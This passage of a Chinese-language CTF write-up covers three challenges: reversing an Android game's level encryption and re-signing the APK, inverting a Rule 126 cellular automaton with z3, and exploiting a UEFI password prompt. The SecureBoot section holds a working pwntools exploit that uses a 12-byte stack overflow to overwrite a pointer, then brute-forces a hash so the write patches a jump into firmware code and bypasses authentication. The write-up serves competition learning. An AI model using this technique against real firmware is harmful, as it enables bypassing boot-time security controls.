17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
g_cmp = [0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0]
g_index = 0
class Sorted(object):
def __init__(self, index):
self.weight = 0
self.index = index
def __str__(self):
return "[{}]:{}".format(self.index, self.weight)
g_array = [Sorted(i) for i in range(16)]
def PrintSorted(test):
print([each.weight for each in test])
def M_reverse_calc(buffer, left, right):
global g_cmp
global g_index
if right-left<2:
return
middle = (left+right)//2
M_reverse_calc(buffer, left, middle)
M_reverse_calc(buffer, middle, right)
right_index = middle
left_index = left
tmp_array = []
last_weight = 0
while left_index < middle and right_index < right and g_index < len(g_cmp):
if g_cmp[g_index] == 1:
for i in range(right_index, right):
buffer[i].weight += 1
tmp_array.append(buffer[left_index])
left_index += 1
else:
for i in range(left_index, middle):
buffer[i].weight += 1
tmp_array.append(buffer[right_index])
right_index += 1
g_index += 1
while left_index < middle:
tmp_array.append(buffer[left_index])
left_index += 1
while right_index < right:
tmp_array.append(buffer[right_index])
right_index += 1
for i in range(left, right):
buffer[i] = tmp_array[i - left]
if __name__ == "__main__":
# PrintSorted(g_array)
M_reverse_calc(g_array, 0, 16)
g_array=sorted(g_array, key=lambda x:x.index)
PrintSorted(g_array)

于是可以得到排列为9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1

最终拿flag

在用数列解密之前,我们先确认一下当前的地图模式是怎么样的。反向推到加载level的逻辑可以知道,程序将关卡都压缩过,这里我们用python重新解压缩任意一关之后,得到如下的数据:

然后源程序中,有一个翻译的逻辑如下:

1
2
3
for(i = 0; i < this.clo; ++i) {
for(j = 0; j < this.row; ++j) {
Enum_Res res = this.trans_num_to_resource(map[this.row * i + j]);

里面记录了不同的ascii对应的含义是什么。同时还有一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Graph2Object GetTileSprite(Enum_Res resource) {
int v0 = 11;
int v1 = 10;
int v2 = 9;
int v3 = 8;
int v4 = 6;
int v7 = 2;
int v8 = 3;
int v9 = 7;
int v10 = 4;
int v11 = 5;
switch(com.google.ctf.game.g_map$1.a[resource.ordinal()]) {
case 1: {
return null;
}
case 2: {
goto label_240;
}
case 3: {
goto label_236;
}
case 4: {
goto label_232;

这里则是将对应的数据翻译成Sprite对象。

我们可以选择将这些算法翻译出来来得到整个图像。
通过逆向整个check算法,可以知道key实际上有32字节,要通过爆破一个sha256得到。不过幸好根据逻辑我们可以知道,真正的key只是我们得到的16字节的key中穿插塞入0而已。于是可以写一个爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def burst_key():
real_key = []
iters = itertools.product([0,1], repeat=16)
for each in iters:
for i, eachiters in enumerate(each):
if eachiters == 0:
real_key += [0, g_key[i]]
else:
real_key += [g_key[i], 0]
if sha256(bytes(real_key)).digest() == bytes(g_hash):
print(real_key)
real_key = []
print("Finish")

于是得到真正的密码为:

1
[9, 0, 0, 8, 0, 7, 2, 0, 0, 11, 0, 15, 13, 0, 10, 0, 6, 0, 0, 5, 14, 0, 0, 4, 0, 3, 0, 0, 12, 0, 1, 0]

最后用这个密码对程序进行解密,得到加密的关卡:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import zlib
from Crypto.Cipher import AES
import itertools
from hashlib import sha256
g_encode = [-113, -47, -15, 105, -18, 14, -118, 0x7A, 103, 93, 120, 70, -36, -82, 109, 0x71, 36, -127, 19, -35, -68, 21, -20, -69, 7, 94, -115, 58, -105, -10, -77, -62, 106, 86, -44, -24, -46, 0x70, 37, 3, -34, -51, -35, 90, -93, -59, 12, -35, 0x7D, -33, -6, -109, -100, 25, 0x7F, 0x7E, -81, -73, -50, -61, 84, 0x20, 0x7F, -126, -81, -20, -116, -82, 38, 0x77, 27, 7, 0x7A, -2, -30, 58, 98, -17, 66, -103, 0x74, -83, -36, 106, 0x79, -23, -40, 0x7D, -27, -37, -95, -59, -70, 61, 71, 43, -55, -22, -8, -72, 50, -19, -77, 37, 78, -37, 0x7E, 0x77, 0x1F, -37, 70, 41, 0x40, -97, -28, 68, -14, -41, -17, -94, 3, 2, 0x1F, -85, -86, 84, -34, -58, 0x73, -14, 87, 62, 52, 103, -28, -89, 3, 104, 19, 61, -7, -53, -15, 28, -108, -85, -106, 3, -77, -11, 37, -65, -107, -61, 53, -3, -68, 105, -101, -118, -44, 69, -63, -81, -57, 74, -86, 76, 27, -58, 91, 0x40, 60, -86, 3, 5, -108, -44, 77, -80, 50, 0x77, 109, 107, -43, -93, -87, -42, 0x20, 66, 27, -64, 38, -44, 50, -108, -21, -70, -102, -63, -120, 0x76, 7, 89, -106, 66, -3, -10, 93, -9, 3, 13, 35, 37, -19, 0x74, 0x2F, 29, 91, -30, 69, -49, 109, 72, 6, 36, 58, -63, 107, 0x30, 70, 0x7F, -127, 51, -110, 0x30, -73, -62, -118, 59, -27, 30, -109, -42, -109, -54, -22, 0x5F, 0x7B, -89, -62, -99, -62, 66, 60, 0x7E, -52, -117, -98, -95, 2, -93, -93, -30, 85, -113, -77, -60, -83, -4, -50, 52, 0x71, 62, -104, -124, 56, 89, -62, 108, 35, -10, 90, -42, -26, 0x72, 11, -49, -18, 56, -60, -87, -118, -106, -76, -103, -53, -7, -54, -70, -120, -92, -29, -17, -106, 80, -3, -18, -44, 0x73, -31, 57, -57, 60, 94, -6, 18, -56, -27, -17]
g_IV= [-30, 1, 9, -29, -92, 104, -52, -82, 42, -116, 1, -58, 92, -56, -25, 62]
g_key = [9, 8, 7, 2, 11, 15, 13, 10, 6, 5, 14, 4, 3, 0, 12, 1]
g_hash = [46, 50, 92, -111, -55, 20, 120, -77, 92, 46, 12, -74, 91, 120, 81, -58, -6, -104, -123, 90, 0x77, -61, -65, -45, -16, 8, 0x40, -68, -103, -84, -30, 107]
g_real_key = [9, 0, 0, 8, 0, 7, 2, 0, 0, 11, 0, 15, 13, 0, 10, 0, 6, 0, 0, 5, 14, 0, 0, 4, 0, 3, 0, 0, 12, 0, 1, 0]
def translate_array(array):
for i in range(len(array)):
array[i] = array[i] if array[i] > 0 else 256 + array[i]
def decode_data():
cipher = translate_array(g_encode)
iv = translate_array(g_IV)
aes = AES.new(bytes(g_real_key), mode=AES.MODE_CBC, IV = bytes(g_IV))
ret = aes.decrypt(bytes(g_encode))
return ret
def burst_key():
real_key = []
iters = itertools.product([0,1], repeat=16)
for each in iters:
for i, eachiters in enumerate(each):
if eachiters == 0:
real_key += [0, g_key[i]]
else:
real_key += [g_key[i], 0]
if sha256(bytes(real_key)).digest() == bytes(g_hash):
print(real_key)
real_key = []
print("Finish")
def paste_image(tiles, data):
# [TODO]: trasfer level_data to image
pass
def decompress_level(level_path):
fd = open(level_path, 'rb')
content = fd.read()
data = zlib.decompress(content)
return data
if __name__ == "__main__":
translate_array(g_hash)
translate_array(g_encode)
translate_array(g_IV)
print(g_hash)
# burst_key()
data = decode_data()
fd = open("FlagLevel.bin",'wb')
fd.write(data)
fd.close()
result = decompress_level("FlagLevel.bin")
print(result)

这里因为懒得再翻译程序中对Sprite的翻译过程,想到另一个办法:将apk中的level1.bin替换成我们解密得到的文件,即可让apk帮忙加载地图。

最后的签名

APK本身是签了名的,再修改了level1.bin之后,首先要将apk中的META_INF文件删除,然后进行签名。这里使用的是jarsign进行签名。
首先我们要生成属于我们自己的密钥对:

1
>keytool -genkeypair -alias "test" -keyalg "RSA" -keystore "test.keystore"

  • -alias 后面跟着的是当前密钥对的名字,之后会用到
  • -keyalg 表示当前使用的签名算法
  • -keystore 表示当前生成的签名最后的存放位置

之后还会要求我们输入输入密钥库口令以及一些基本信息,输入完成后就会生成一个90天有效的签名了
得到了签名之后,就能够使用jarsign签名了:

1
jarsigner -verbose -keystore test.keystore -signedjar ./flaggybirdflag-signed.apk ./flaggybirdflag.apk test

  • -verbose 显示详细信息
  • -keystore 当前密钥文件的地址
  • -signedjar 签名后的文件名

最后跟上jar-file以及我们刚刚对签名起的别名,即可完成签名。替换后的APK打开即可得到flag:

Crypto

Reverse a cellular automata (80)

本质上为一个算法题(大雾)

题目描述

题目描述是说,当前使用了一种叫做胞元自动机cellular automata的东西(就是题目里面那个东西)的算法。这个东西解释起来有、、复杂,不过现实中很多地方都见过。胞元自动机相当于是定义了一种规则。假设我们定义了如下的3*3的方块:

1
2
3
= = =
= = =
= = =

假定如下的规则:

  • =表示活着的细胞
  • +表示死了的细胞
  • 定义一个规则:如果细胞四周(上下左右)有>=3个细胞存在,由于细胞养料不足,当前的细胞会死亡;否则,因为养料充足,细胞会重新活过来

胞元自动机是以状态为概念的。也就是说每一个细胞只考虑当前状态下周围的养料情况,不考虑下一个状态。那么根据规则,下一个状态的方块中的细胞会变成:

1
2
3
= + =
+ + +
= + =

可以注意到,此时“死去”了很多个细胞。虽然根据资源分配的话,四周的细胞死亡后,正中间的细胞本来是不必死去的,但是根据状态,它也会进入这个状态。然后再下一个状态就是:

1
2
3
= = =
= = =
= = =

恢复成最初的形状。这种就叫做胞元自动机的变化过程。
有很多的胞元自动机规则,分别就是规定了这种变化过程。题目中给出的Wolfram rule 126也是一种变化的规则:

第一排为当前状态。也就是说仅仅在当前状态以及相邻两个状态均相等的时候,当前状态转变成0,否则转变成1

题解

题目中给出了一个密文,并且给出了一个64bit下的胞元自动机生成的数字,推测出上一个状态,对应的数字作为密文的密钥即可解开答案:

1
2
3
4
Flag (base64)
U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=
Obtained step (in hex)
66de3c1bf87fdfcf

这里观察Rule 126,可以发现一些规律。这里推荐网站https://www.wolframalpha.com/input/?i=Rule+126,里面已经帮我们总结了规律。
这种有规律,求解的问题都可以用z3来解决。这里参考https://blog.julianjm.com/Google-CTF-2019/#Automata照着写了一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from z3 import *
BITS = 64
target = 0x66de3c1bf87fdfcf
# Solver, which will help to get answer
solver = Solver()
# define the cell rule
def cell(p, q, r):
return Or(Xor(p,q), Xor(p,r))
#define the step for get step-answer
def step(src):
return [cell(src[i-1], src[i], src[(i+1)%BITS]) for i in range(BITS)]
# define Bool array
src = BoolVector("src", BITS)
# and calculate the dst
dst = step(src)
# now add restriction
for i in range(BITS):
mask = 1 << (BITS - 1 - i)
solver.add (dst[i] == bool(target & mask))
# and calculate answer
while solver.check() == sat:
model = solver.model()
solbits = "".join(['1' if model.eval(src[i]) else '0' for i in range(BITS)])
print("%x"%int(solbits, 2))
# here we add a list into solver to tell solver that we don't need this kind of answer, so
# z3 will show another answer
solver.add(Or([ model[v]!=v for v in src]))

基本上是把人家的搬运了一下。。实在是不会写z3
这个输出非常多,可以用bash脚本之类的主动调用题目中给出的解题指令,即可得到答案。

Pwn

SecureBoot

1
Your task is very simple: just boot this machine. We tried before but we always get ‘Security Violation’. For extra fancyness use socat -,raw,echo=0 tcp:$IP:$PORT'.

这个题目是一个pwn题,从名字中可以知道应该是和一个叫做Secure Boot的特性相关的一个题目。这个特性其实是关于UEFI(Unified Extensible Firmware Interface)的一个子特性。

binwalk查看之后,发现是一个UEFI文件,然后用UEFITool查看之后发现里面内容如下:

官方给出的run.py脚本如下:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3
import os
import tempfile
fname = tempfile.NamedTemporaryFile().name
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))
os.system("qemu-system-x86_64 -monitor /dev/null -m 128M -drive if=pflash,format=raw,file=%s -drive file=fat:rw:contents,format=raw -net none -nographic 2> /dev/null" % (fname))
os.system("rm -rf %s" % (fname))

其中qemu那段启动的内容意思为:

  • -monitor /dev/null:将监视器重定向到主机的空白设备。
  • -m 128M: 设置启动时候的RAM大小为128M
  • -drive if=pflash,format=raw,file=%s: 设置一个驱动,同时可以设置相关的设备类型。这里设置的设备接口为pflash(闪存,相当于是连接了bios的那个东东),磁盘格式为raw,意味着不需要检测格式头,然后定义了当前的OVMF.fd作为当前的操作镜像。这句话相当于是模拟了一个写有UEFI的闪存挂载到操作系统上的一个过程
  • -drive file=fat:rw:contents,format=raw: 同理,这句话设置了一个驱动,不过这里是将contents目录作为硬盘格式挂载到这上面(标注为raw之后就不需要关注是不是MBR/GPT的磁盘了)
  • -net none: 不支持网络通信
  • 2 > /dev/null: 重定向错误流

尝试运行这段内容后,程序会输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
Mapping table
FS0: Alias(s):HD1a1:;BLK3:
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1)
BLK0: Alias(s):
PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x0)
BLK1: Alias(s):
PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x1)
BLK2: Alias(s):
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
BLK4: Alias(s):
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
If Secure Boot is enabled it will verify kernel's integrity and
return 'Security Violation' in case of inconsistency.
Booting...
Script Error Status: Security Violation (line number 5)

根据输出,我们知道当前的OVMF.fd中的UEFI开启了SecureBoot的特性,而当前内核并没有签名,导致了内核没有能够加载。

企图绕过

在UEFI加载的时候,有四个阶段

1
SEC(安全检测,完成从flat mode 到 real mode)--PEI(EFI前期初始化,初始化各个模块,CPU/IO等等)--DXE(初始化各类驱动)--BDS(初始化键鼠驱动,VGA等等)

但在这四个阶段之后,还会有一个叫做TSL(操作系统加载前期)的阶段,这个阶段中就是在最初的UEFI加载完成之后(但是还没有尝试开始运行的时候),会从主板上(CMOS处)加载关于UEFI的配置(也就是通常说的进入BIOS)。在这之后才会正式进入RT(Runtime)加载操作系统等等。
所以想到,我们可以通过手动修改BIOS的配置来关闭SecureBoot。但是该题没有告诉我们到底怎么进入BIOS,此时只能一通乱按,终于发现是在按下了f12的时候可以打开这个界面:

1
2
3
4
5
6
7
8
9
10
BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
****************************
* *
* Welcome to the BIOS! *
* *
****************************
Password?
****

这里会发现,程序在DXE阶段加载了一个好像叫做UiAPP的文件,并且要求我们输入密码。于是这里想到说,这个UiAPP可能是实现了输入密码功能的一个自定义的EFI文件。此时我们注意到7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1这个值,这个值我们在UEFITool的截图中看到过。

于是想到,能不能将这个文件导出来看一下。这里使用工具uefi-firmware-parser进行导出:

1
uefi-firmware-parser -ecO ./OVMF.fd

输出中可以开到如下的内容:

1
2
3
4
5
6
File 38: 462caa21-7614-4503-836e-8ab6f4662331 type 0x09, attr 0x00, state 0x07, size 0x1beae (114350 bytes), (application)
Section 0: type 0x10, size 0x1be44 (114244 bytes) (PE32 image section)
Section 1: type 0x19, size 0x34 (52 bytes) (Raw section)
Section 2: type 0x15, size 0x10 (16 bytes) (User interface name section)
Name: UiApp
Section 3: type 0x14, size 0xe (14 bytes) (Version section section)

这段就是我们需要找到的内容(目录有点深,得搜索出来才行)

1
SecureBoot\OVMF.fd_output\volume-0\file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792\section0\section3\volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf\file-462caa21-7614-4503-836e-8ab6f4662331

漏洞点

首先利用全局搜索找到字符串L”Password”,发现其相关函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
__int64 checkPassword()
{
unsigned __int16 index; // ax
char v2; // [rsp+2Ch] [rbp-BCh]
__int16 chr; // [rsp+2Eh] [rbp-BAh]
char v4; // [rsp+30h] [rbp-B8h]
char buffer[128]; // [rsp+38h] [rbp-B0h]
__int64 v6; // [rsp+B8h] [rbp-30h]
_QWORD *v7; // [rsp+C0h] [rbp-28h]
__int64 v8; // [rsp+C8h] [rbp-20h]
unsigned __int16 i; // [rsp+D6h] [rbp-12h]
unsigned __int64 error_time; // [rsp+D8h] [rbp-10h]
error_time = 0i64;
v8 = 32i64;
wputs(L"****************************\n");
wputs(L"* *\n");
wputs(L"* Welcome to the BIOS! *\n");
wputs(L"* *\n");
wputs(L"****************************\n\n");
v7 = (_QWORD *)Initialize(32i64);
while ( error_time <= 2 )
{
i = 0;
wputs(L"Password?\n");
while ( 1 )
{
while ( 1 )
{
v6 = (*(__int64 (__fastcall **)(_QWORD, char *))(*(_QWORD *)(qword_1BC68 + 48) + 8i64))(
*(_QWORD *)(qword_1BC68 + 48),
&v2);
if ( v6 >= 0 )
{
if ( chr )
break;
}
if ( v6 == 0x8000000000000006i64 )
(*(void (__fastcall **)(__int64, __int64, char *))(qword_1BC78 + 96))(
1i64,
*(_QWORD *)(qword_1BC68 + 48) + 16i64,
&v4);
}
if ( chr == '\r' )
break;
if ( i <= 139u )
{
index = i++;
buffer[index] = chr;
}
wputs("*");
}
buffer[i] = 0;
wputs(L"\n");
sha256((__int64)buffer, i, (__int64)v7);
if ( *v7 == 0xDEADBEEFDEADBEEFi64
&& v7[8] == 0xDEADBEEFDEADBEEFi64
&& v7[16] == 0xDEADBEEFDEADBEEFi64
&& v7[24] == 0xDEADBEEFDEADBEEFi64 )
{
sub_C46((__int64)v7);
return 1i64;
}
wputs("W");
++error_time;
}
sub_C46((__int64)v7);
return 0i64;
}

程序要求我们输入128个字节,然后将这128个字节进行sha256,结果要为四个DEADBEEFDEADBEEF的时候,就会返回1表示密码输入正确。
这里会发现一个很显眼的漏洞点:程序允许我们读入140字节,但是申请的空间却只有128个字节那么大。总共可以多溢出12个字节。由于这里是位于EFI程序中,此时地址并不是特别高位,所以可以粗略的认为我们此时可以修改v6和v7处的变量

从定义上可以发现,v7是一个地址,而我们栈溢出又正好可以溢出到v7的地址处,于是一个自然的想法就是,通过爆破sha256,得到一个粗略任意地址写的一个漏洞(因为必须要将buffer进行sha256,所以这个写入也不是那么受控制,不过如果控制了v7相当于是可以往部分位置写数据了)

那么要往哪里写呢?这个倒是一个大问题,毕竟这个题目不是在通常的运行环境下,没有libc等一系列东西,所以得考虑用别的办法。不过其实考虑到,分页保护这个过程发生在操作系统加载之后,那么应该会意识到,此时的EFI程序应该是不存在页保护的

动态调试

修改题目中给出的run.py

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3
import os
import tempfile
fname = tempfile.NamedTemporaryFile().name
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))
print("Here")
os.system("qemu-system-x86_64 -monitor /dev/null -m 128M -drive if=pflash,format=raw,file=%s -drive file=fat:rw:contents,format=raw -net none -gdb tcp::1234 -S -nographic 2> /dev/null" % (fname))
# 增加gdb选项,并且增加-S,表示等待调试器连接上才运行
os.system("rm -rf %s" % (fname))

之后启动gdb,然后输入

1
target remote 127.0.0.1:1234

即可连接调试。
链接进去后用手速进入输入password的界面,然后断下来,检查内部执行情况可以发现,此时的程序段的确都是可执行的:

此时我们需要找到此时的uiapp被映射的位置,这里似乎没有什么好办法,只能说翻一下栈,看看有没有哪个数字的最后三个字节和IDA中的某个函数调用返回值的后三字节相同。通过逆向分析,可以知道如下的汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:000000000000FF1E
.text:000000000000FF1E loc_FF1E: ; CODE XREF: checkPassword+C2↑j
.text:000000000000FF1E mov rax, 8000000000000006h
.text:000000000000FF28 cmp [rsp+0E8h+var_30], rax
.text:000000000000FF30 jz short loc_FF35
.text:000000000000FF32 nop
.text:000000000000FF33 jmp short loc_FEDE
.text:000000000000FF35 ; ---------------------------------------------------------------------------
.text:000000000000FF35
.text:000000000000FF35 loc_FF35: ; CODE XREF: checkPassword+E0↑j
.text:000000000000FF35 mov rax, cs:qword_1BC78
.text:000000000000FF3C mov rax, [rax+60h]
.text:000000000000FF40 mov rdx, cs:qword_1BC68
.text:000000000000FF47 mov rdx, [rdx+30h]
.text:000000000000FF4B add rdx, 10h
.text:000000000000FF4F lea rcx, [rsp+0E8h+var_B8]
.text:000000000000FF54 mov r8, rcx
.text:000000000000FF57 mov ecx, 1
.text:000000000000FF5C call rax ; 这里发生了类似scanf的调用
.text:000000000000FF5E jmp loc_FEDE

猜想说此处的rax调用的正是读取数据的函数,所以我们此时需要查找栈中地址尾部为F5E的地址,最后成功找到:

1
24:0120│ 0x7ec17c8 —▸ 0x67daf5e ◂— jmp 0x67daede /* 0x44b70fffffff7be9 */

于是可以计算出此时段的基地址为67daf5e - ff5e = 67CB000

利用思路

代码段本身居然能被修改,而且没有开启ASLR,这意味这我们不需要leak就可以修改任意内容,我们需要巧妙的利用这一点。这里比较容易想到的一点就是修改发生比较前后的代码。将发生跳转的

1
2
.text:000000000000FFBE cmp rdx, rax
.text:000000000000FFC1 jz short loc_10008; -------jump--from--here--->>

这个位置修改成jmp $+b3,那么就可以直接跳转到

1
2
.text:0000000000010074 mov eax, 1; <------arrive--here-----
.text:0000000000010079 jmp short loc_100B4

不过查看反汇编,会发现jmp +$0xb3需要的字节码有、长,为\xe9\xae\x00\x00\x00,因为这个地方有一个无符号数0xb3,而爆破这么长的字节显然不合适,但是反向跳跃不需要那么多字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000000010074 mov eax, 1 ;<---------arrive here
.text:0000000000010079 jmp short loc_100B4
.text:000000000001007B loc_1007B: ; CODE XREF: checkPassword+173↑j
.text:000000000001007B ; checkPassword+1D4↑j ...
.text:000000000001007B lea rcx, aW ; -------jump from here ---->
.text:0000000000010082 call wputs
.text:0000000000010087 add [rsp+0E8h+var_10], 1
.text:0000000000010090
.text:0000000000010090 loc_10090: ; CODE XREF: checkPassword+73↑j
.text:0000000000010090 cmp [rsp+0E8h+var_10], 2
.text:0000000000010099 jbe loc_FEC8
.text:000000000001009F mov rax, [rsp+0E8h+exp]
.text:00000000000100A7 mov rdi, rax
.text:00000000000100AA call sub_C46
.text:00000000000100AF mov eax, 0

如果从指定的位置进行jmp的话,那么此时只需要0x1007b - 0x10074=0x7,也就是说此时只需要跳转jmp $f9(\xeb\xf7)即可:
那么接下来要做的事情就很简单了:

  • 溢出修改v7的值为`0x67db07b
  • 计算sha256,让开头两字节为\xeb\xf7

说到调试问题,可以让程序先运行起来,然后本地使用gdb远程链接过去(此时注意qemu的命令行中不要加入-S防止被挂起)

在调试期间发现一个漏掉的问题点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v6 = (*(__int64 (__fastcall **)(_QWORD, char *))(*(_QWORD *)(qword_1BC68 + 48) + 8i64))(
*(_QWORD *)(qword_1BC68 + 48),
&v2);
if ( v6 >= 0 )
{
if ( chr )
break;
}
if ( v6 == 0x8000000000000006i64 )
(*(void (__fastcall **)(__int64, __int64, char *))(qword_1BC78 + 96))(
1i64,
*(_QWORD *)(qword_1BC68 + 48) + 16i64,
&v4);
}

这个地方的v6在栈上位于v7之前,通过测试发现在读入我们的输入的时候会被置为00000000,所以在计算sha256的时候需要把这段默认为0,但是发送数据的时候这一段需要设置为任意可见字符防止被截断。

_由于此时需要利用pwntool和远程通信,所以需要发送f12,所有特殊按键在UEFI加载的时候通过\x1b来激活,表示这之后的字符串是特殊按键。这些对应关系可以查询这里_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# -*- codingP:utf-8 -*-
#!/usr/bin/python3
from pwn import *
import os
import tempfile
import string
import hashlib
DEBUG = False
fname = ""
ph = None
exp_opcode = "jmp $-0x7"
# target_addr = 0x67db07b - 32 + 2
target_addr = 0x67db07b
if DEBUG:
ph = process("./run.py")
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(ph)
else:
ph = remote('secureboot.ctfcompetition.com', 1337)
def bruce(opcode):
last_opcode = asm(opcode, arch="amd64", os="linux")
for i in string.printable:
for j in string.printable:
for k in string.printable:
payload = i + j + k + "A"*125 + '\x00'*8 + p32(target_addr)
if hashlib.sha256(payload).digest()[:2] == last_opcode:
log.info("Find payload" + payload)
print(hashlib.sha256(payload).hexdigest())
payload = payload[0:128] + "A"*8 + payload[136:]
log.info("Find payload" + payload)
return payload
log.info("Find nothing..")
return ""
def exploit(ph):
# input("wait for gdb")
# just sleep to wait
print ph.recvn(1)
# sleep(1)
ph.send("\x1b[24~")
# sleep(1)
print ph.recvuntil("Password")
# a=raw_input("wait for gdb")
payload = bruce(exp_opcode)
# payload = "A"
ph.send(payload+"\r")
# ph.send('1010' + 'A' * 0x84 + p32(0x7ec18b8 - 32 + 1) + '\r')
def local(ph):
exploit(ph)
ph.interactive()
print("Finish attack, will delete file")
os.system("rm -rf %s" % (fname))
if __name__ == "__main__":
# local(ph)
exploit(ph)
ph.interactive()

如果只是本地测试的话,可以使用

1
socat -,raw,echo=0 SYSTEM:"python exploit.py"

来进行启动,会得到如下的画面:

然后设置一下Secure Boot就能够让其正常启动。修改成remote模式之后即可到达最终答案


CTF{pl4y1ng_with_v1rt_3F1_just_4fun}